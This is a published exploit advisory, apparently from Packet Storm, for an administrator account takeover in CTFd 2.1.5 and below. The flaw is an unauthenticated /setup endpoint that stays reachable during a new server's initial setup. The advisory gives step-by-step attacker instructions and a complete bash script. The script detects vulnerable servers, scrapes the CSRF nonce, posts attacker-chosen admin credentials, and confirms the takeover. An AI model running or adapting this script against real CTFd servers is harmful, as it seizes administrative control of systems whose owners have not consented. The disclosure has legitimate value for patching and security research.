CTFd 2.1.5 Administrator Account Takeover

CTFd versions 2.1.5 and below suffer from an administrative account takeover vulnerability.


MD5 | 84424ae80b5718f5d0fb1504e66ea786

Download
# Exploit Title: CTFd Administrator Account Takeover
# Date: 2/1/20
# Exploit Author: Social Engineering Neo - @EngineeringNeo
# Vendor Homepage: https://ctfd.io
# Software Link: https://github.com/CTFd/CTFd/releases/tag/2.1.5
# Version: CTFd Local/Remote Hosting 2.1.5 and below
# Tested on: CTFd 2.1.5


CTFd Server Administrator Account Takeover Vulnerability by Social Engineering Neo.


Tested On: -
Live Remote Hosted CTFd v2.1.5 Server.
Local Hosted CTFd v2.1.5 Server.
Windows
MacOS
Linux


Class: -
Improper Authorization - CWE-285


Base: -
Direct Request 'Forced Browsing' - CWE-425


Summary: -
Due to Improper Authorization Checks and Direct Request Protections, Newly Created CTF'd Servers Have the Potential of a "Full" Administrator Account Takeover During the Setup Process. This Includes the Given URL Prior to and During SETUP/UNTIL "Save-State".


Short Description: -
A remote attacker with knowledge of this new CTF'd hostname could modify critical configurations of the server. This is only possible while the server admin is performing the initial setup.


Proof of Concept: -
####
VICTIM – (Server Admin)
1.) -    Setting up CTF'd server configuration as usual.

ATTACKER
1.) -    Knowledge of newly created CTFd hostname.
2.) -    Access https://[HOST].ctfd.io to verify the server is up.
3.) -    Access https://[HOST].ctfd.io/setup to set/modify server Administrator password, username and email – no authentication/authorization required to input these values
4.) -    Login with new admin credentials at https://[HOST].ctfd.io/login
####

CODE: - (BASH)
####
#!/bin/bash

clear
read -p "Enter Target Address Followed by Port: " target port   # localhost 8080

if [ $port -lt 65536 ] && [ $port -gt 0 ]; then
  curl --silent -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' $target:$port/setup > preexp  #Downloaded to check <title>, <h1> and nonce values.
else
    echo "Incorrect Port."
fi

titleCheck=$(grep '<title>CTFd</title>' preexp)          #If server is not configured, default <title> value is 'CTFd' until admin changes
headerOneCheck=$(grep '<h1>Setup</h1>' preexp)          #Due to the possibility of admin naming server to 'CTFd', a check for <h1> value 'Setup' is made to double check.
nonce=$(grep 'var csrf_nonce' preexp | awk '{print $4}' | sed 's/.//;s/..$//')  #This nonce will include cookie value of 'session=00000000-0000-0000-0000-000000000000' so don't worry;)
rm preexp

if [ $titleCheck = "<title>CTFd</title>" ] && [ $headerOneCheck = "<h1>Setup</h1>" ]; then
  read -p "Target is Vulnerable, Would you Like to Attack? (Y/n): " attack
  if [ "$attack" = 'y' ] || [ "$attack" = 'Y' ]; then
    clear
    read -p 'CTF Name: ' ctfName      #Name for the CTF
    read -p 'Admin Username: ' adminName    #Username for the administration account
    read -p 'Admin Email: ' adminEmail    #Email address for the administration account
    read -p 'Admin Password: ' adminPassword  #Password for the administration account
    read -p 'User Mode (teams/users): ' userMode  #Dictates whether users join teams to play (Team Mode) or play as themselves (User Mode)
    clear

    echo Working on it...
    curl --silent -i -X POST -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' --data 'nonce='$nonce'&ctf_name='$ctfName'&name='$adminName'&email='$adminEmail'&password='$adminPassword'&user_mode='$userMode'' http://$target:$port/setup  #Send previously entered values to $target
    clear
    echo Attack Executed!

    curl --silent -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' $target:$port/setup > postexp  #Verify successful exploit
    titleCheck=$(grep '<title>CTFd</title>' postexp)
    headerOneCheck=$(grep '<h1>Setup</h1>' postexp)
    rm postexp

    if [ $titleCheck = "<title>CTFd</title>" ] && [ $headerOneCheck = "<h1>Setup</h1>" ]; then  #Values should be diffrent from what we started with pre-setup
      clear
      echo Something went Wrong, Try Again.
    else
      clear
      echo 'CTFd Server Hosted @ '$target' has been Comprimised:)'
    fi
  fi
else
  echo Something went Wrong, Try Again.
fi

####
[ADMIN USER TAKEOVER SUCCESSFUL]
####

VIDEO: - https://youtu.be/li9dX7CUTTg *Exploit*
     : - https://youtu.be/bQyVyXzvHCo *Demo*


Expected Result: -
Users should not have the ability to read/write critical server/user configuration without proper authentication.


Observed Result: -
Unauthorized users have the ability to read/write critical server/user configuration without any authentication.

Source: packetstormsecurity.com
Related Posts